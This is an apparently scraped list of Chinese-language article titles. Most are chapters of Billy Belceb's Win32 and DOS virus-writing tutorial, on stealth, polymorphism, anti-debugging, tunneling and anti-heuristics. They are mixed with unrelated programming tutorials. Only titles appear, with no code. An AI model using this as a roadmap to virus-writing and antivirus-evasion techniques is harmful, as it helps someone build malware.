- Billy Belceb 病毒編寫教程for Win32 ----Ring-3,使用者級編碼2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----Win32 反除錯2004-05-28Win32除錯
- Billy Belceb 病毒編寫教程for Win32 ----PE檔案頭2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----簡單介紹2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----高階Win32技術2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Per-Process?residency2004-05-28Win32IDE
- [翻譯]Billy Belceb 病毒編寫教程for Win32 ----病毒編寫中的有用的東西2004-05-28Win32
- Billy Belceb病毒編寫教程DOS篇---宣告2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---加密2015-11-15加密
- Billy Belceb病毒編寫教程(DOS篇)---病毒編寫所需的軟體2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---附錄2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---優化(Optimization)2015-11-15優化
- Billy Belceb病毒編寫教程(DOS篇)---保護你的程式碼2015-11-15
- [翻譯]Billy
Belceb 病毒編寫教程for Win32----- 宣告2004-05-28Win32
- Billy Belceb病毒編寫教程(DOS篇)---Tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---多型(polymorphism)2015-11-15多型
- Billy Belceb病毒編寫教程(DOS篇)---駐留記憶體病毒2015-11-15記憶體
- Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)有用的結構體2015-11-15結構體
- Billy Belceb病毒編寫教程(DOS篇)---Anti-tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)一些重要的理論2015-11-15
- Win32彙編教程四 編寫一個簡單的視窗 (轉)2007-12-02Win32
- Xamarin iOS教程之編輯介面編寫程式碼2015-06-11iOS
- Win32彙編教程二 Win32彙編程式的結構和語法 (轉)2007-12-02Win32
- 基本概念(win32)彙編教程(轉)2007-07-28Win32
- Win32彙編教程十二 管道操作 (轉)2007-12-29Win32
- (七)系統通用元件編寫2018-08-08元件
- 技能篇:shell教程及指令碼編寫2021-06-16指令碼
- xyz計算機等級考試系統(二級c) vb編寫2015-11-15計算機
- Golang 編寫測試教程2019-02-28Golang
- Sublime 編寫編譯 swift程式碼2018-07-25編譯Swift
- znai: 使用Markdown編寫Java文件系統2022-08-20AIJava
- 如何使用 Laravel Collections 類編寫神級程式碼2018-07-10Laravel
- Win32彙編教程八 圖形介面的操作 (轉)2007-12-29Win32